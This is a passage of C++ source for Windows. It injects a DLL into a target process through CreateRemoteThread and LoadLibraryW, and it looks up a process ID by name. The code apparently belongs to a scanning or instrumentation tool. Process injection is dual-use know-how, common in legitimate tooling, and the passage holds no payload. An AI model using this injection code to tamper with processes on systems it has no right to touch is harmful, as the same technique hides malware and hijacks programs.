os << "Failed to copy module name to target process; GetLastError is " << GetLastError();
throw errorMaker::wruntime_error(&os);
}
// And create the thread that will do the load.
DWORD tid;
HANDLE s = CreateRemoteThread(toScanHandle, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryWInTargetProcess, (char*)moduleName, 0, &tid);
if (!s)
{
std::wstringstream os(L"");
os << "CreateRemoteThread failed, GLE %d" << GetLastError();
throw errorMaker::wruntime_error(&os);
}
// Allow 60 seconds for the module to load before we give up
if (WaitForSingleObject(s, 60 * 1000))
{
std::wstringstream os(L"");
os << "Timeout trying to load module '" << toLoad << "' into remote process";
throw errorMaker::wruntime_error(&os);
}
unsigned char* toRet = getModuleBase(toScanHandle, toLoad);
if (toRet == NULL)
{
std::wstringstream os(L"");
os << "Failed to load module " << toLoad << " into remote process";
throw errorMaker::wruntime_error(&os);
}
return toRet;
}
DWORD getPIDForProcessByName(TCHAR* toFind)
{
// Grab the named process as specified at the commandline.
// This is mostly lifted from https://docs.microsoft.com/en-us/windows/desktop/psapi/enumerating-all-processes
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
std::wstringstream os(L"");
os << "Failed EnumProcesses, GetLastError " << GetLastError();
throw errorMaker::wruntime_error(&os);
}
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++)
{
if (aProcesses[i] != 0)
{
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, aProcesses[i]);
if (NULL == hProcess)
continue;
HMODULE hMod;
DWORD cbNeeded;
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
if (!EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded))
continue;
GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
if (_wcsicmp(toFind, szProcessName) == 0)
{
CloseHandle(hProcess);
return aProcesses[i];
}
CloseHandle(hProcess);
}
}
std::wstringstream os(L"");
os << "Cannot find module '" << toFind << "'";
throw errorMaker::wruntime_error(&os);
}